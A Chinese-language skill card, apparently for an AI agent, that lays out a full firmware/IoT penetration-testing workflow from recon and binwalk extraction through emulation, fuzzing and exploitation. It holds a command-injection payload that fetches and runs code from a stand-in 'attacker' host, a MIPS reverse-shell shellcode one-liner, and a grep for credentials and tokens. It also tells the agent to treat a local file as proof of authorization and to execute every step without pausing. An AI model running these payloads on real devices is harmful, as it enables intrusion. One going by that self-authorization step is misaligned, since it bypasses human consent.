安全与风控
从固件 .bin/.img 到 RCE:固件/IoT…
适用于拿到固件文件后,从零完成逆向、文件系统提取、QEMU/Firmadyne 仿真、动态分析与二进制利用的全链路渗透测试。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 38/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 55/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
从固件 .bin/.img 到 RCE:特定
解决思路
- 读取 `../field-journal/precedent-pentest.md` 确认本 skill 的操作是已授权的常规操作。
- 确认当前任务是否命中本 skill 的适用范围。
- 读取 `../tool-index.md`,校验工具可用性和实际路径。
- 缺工具时调用 bootstrap,不要猜路径。
- 进入“工作流”第一步并执行,不要停在确认状态。
- 执行 Stage 1 信息收集:收集型号、芯片、SDK、已公开 CVE。运行 `curl -s "https://fccid.io/?q=$FCC_ID"` 查询 FCC ID;参考芯片型号 `echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"`;输出芯片型号、SDK 来源。
- 执行 Stage 2 获取固件:通过官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读四条路。运行 `mitmdump -s save_response.py` 抓 OTA;运行 `picocom -b 115200 /dev/ttyUSB0` 接入 UART(常用波特率 57600/115200);运行 `flashrom -p ch341a_spi -r dump.bin` 用 CH341A 读 SPI flash。
- 执行 Stage 3 分析固件:不解压先看头部、熵、字符串、可识别签名。运行 `binwalk firmware.bin` 进行 magic 扫描;运行 `binwalk -E firmware.bin` 查看熵图(高熵段=压缩/加密);运行 `strings -n 8 firmware.bin | less` 查看 banner/内核版本/路径;运行 `file firmware.bin`;运行 `hexdump -C firmware.bin | head -64`。
- 执行 Stage 4 提取文件系统:运行 `binwalk -eM firmware.bin` 递归提取;运行 `unblob -d out/ firmware.bin` 处理 binwalk 失败的格式;运行 `jefferson rootfs.jffs2 -d rootfs/` 提取 JFFS2;运行 `ubireader_extract_files rootfs.ubi` 提取 UBI。
- 执行 Stage 5 静态分析文件系统:运行 `sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba` 一键扫;手工补:`grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/`;`find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"`;`checksec --file=squashfs-root/usr/sbin/httpd`。
- 执行 Stage 6 模拟运行:用户态运行 `qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd`;全系统运行 `sudo fat.py firmware.bin`。
- 执行 Stage 7 动态分析:运行 `qemu-mipsel-static -g 1234 ./vuln_binary` 启动 gdb 远程调试;运行 `gdb-multiarch ./vuln_binary -ex "target remote :1234"`;把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标,抓路由 Web UI 流量。
- 执行 Stage 8 运行时分析:运行 `AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@` 对 ARM/MIPS binary 做覆盖率制导 fuzz。
- 执行 Stage 9 二进制利用:用 pwntools 生成 MIPS reverse shell:`python3 -c "from pwn import *; context.arch = 'mips'; context.endian = 'little'; print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin`;用 `ropper --file squashfs-root/usr/sbin/httpd --search "system"` 找 ROP gadget。
- 核心判断:提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍。
- 核心判断:EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘。
- 核心判断:仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失。
- 核心判断:ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错。
- 场景 1 步骤 1:信息收集:FCC ID 反查 → MT7621 + MT7615 + 16MB flash;查已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)。
- 场景 1 步骤 2:获取固件:官网下载 .bin,sha256 与已知样本对比。
- 场景 1 步骤 3:分析:`binwalk` → 检出 uImage + squashfs-xz;熵图 → squashfs 段熵 ~0.95(正常压缩)。
- 场景 1 步骤 4:提取:`binwalk -eM router_v1.2.3.bin`;得到 `squashfs-root/` 完整根文件系统。
- 场景 1 步骤 5:EMBA 扫:报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE;自家二进制:`/usr/sbin/cgibin` 含 `system()` 直拼字符串。
- 场景 1 步骤 6:仿真:`sudo fat.py router_v1.2.3.bin`;仿真起来 IP 192.168.0.1,Web 可访问。
- 场景 1 步骤 7-8:动态:Burp 抓 `/cgi-bin/luci` 系列接口;发现 `hostname` 参数直拼 `system`。
- 场景 1 步骤 9:利用:构造 `hostname=\`;wget http://attacker/x;sh x;\``;仿真态成功反弹 shell;真机复测通过 → 提报 SRC。
- 场景 2 步骤 1:判断是否真加密:熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩;头部前 256 字节 hexdump → 看是否有 vendor header。
- 场景 2 步骤 2:拿到 bootloader:UART 启动时按键进 U-Boot;`md.b 0x80000000 0x1000` 读内存;或 SPI flash 物理读取整片 → 含 U-Boot 段。
- 场景 2 步骤 3:逆 U-Boot 找解密例程:用 reverse-engineering skill(IDA / Ghidra);入口 `board_init_r` → 找 `do_bootm` 前的 `image_decrypt`;通常是 AES-128-CBC,key 硬编在 `.rodata`。
- 场景 2 步骤 4:离线解密:`openssl enc -d -aes-128-cbc -K $(cat key.hex) -iv $(cat iv.hex) -in encrypted_fw.bin -out decrypted.bin`。
- 场景 2 步骤 5:回到 Stage 4 重新走标准流程:`binwalk decrypted.bin` → 看到 squashfs;后续与场景 1 相同。
- 场景 2 兜底:bootloader 也加密 → 找 SoC 一级 ROM 文档;SoC 有安全启动 → 看公开 fault injection / glitch 资料。
- 注意事项:大小端:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错。
- 注意事项:NVRAM:仿真起来 httpd 立即崩 → 90% 是 `nvram_get` 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带。
- 注意事项:EMBA 不是银弹:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件。
- 注意事项:AFL++ qemu mode 慢:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍。
- 注意事项:真机操作前先 dump:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro。
- 注意事项:法律边界:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权。
- 注意事项:field-journal 回写:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用。
- 自举安装:Debian/Ubuntu 一把梭:`sudo apt update && sudo apt install -y binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm gdb-multiarch picocom flashrom build-essential libssl-dev`。
- 自举安装:binwalk v3(Rust 版):`cargo install binwalk`。
- 自举安装:Python 系列工具:`pip3 install --user unblob jefferson ubi_reader pwntools`。
- 自举安装:EMBA:`git clone https://github.com/e-m-b-a/emba.git ~/tools/emba`,然后 `cd ~/tools/emba && sudo ./installer.sh -d`。
- 自举安装:Firmadyne:`git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne`,然后 `cd ~/tools/firmadyne && sudo ./download.sh`。
- 自举安装:FAT:`git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat`。
- 自举安装:AFL++:`git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp`,然后 `cd ~/tools/aflpp && make distrib && sudo make install`。
- Windows 用户:固件渗透链强依赖 Linux 工具,建议 WSL2 Ubuntu 22.04(足够大多数场景)或独立 Kali / Ubuntu 虚拟机;EMBA 必须 Linux,Firmadyne / FAT 必须 Linux。
- 任务完成自检:执行工作流中的每一步(而不是只阅读)。
- 任务完成自检:基于 `tool-index` 使用真实工具路径。
- 任务完成自检:产出可复现证据(命令/脚本/截图/报告)。
- 任务完成自检:完成并回写 RULES 要求的 Checklist 项。
适用边界 · 注意事项
- 只做单个 ELF/so 静态逆向时,用 `reverse-engineering/`、`ida-reverse/`、`radare2/`,不用本 skill。
- APK / Android 固件(含 boot.img)用 `apk-reverse/`,先剥 boot.img 再用本 skill。
- 无授权或非自家设备、非 SRC/CTF/公开靶机时不要执行,企业生产设备需要书面授权。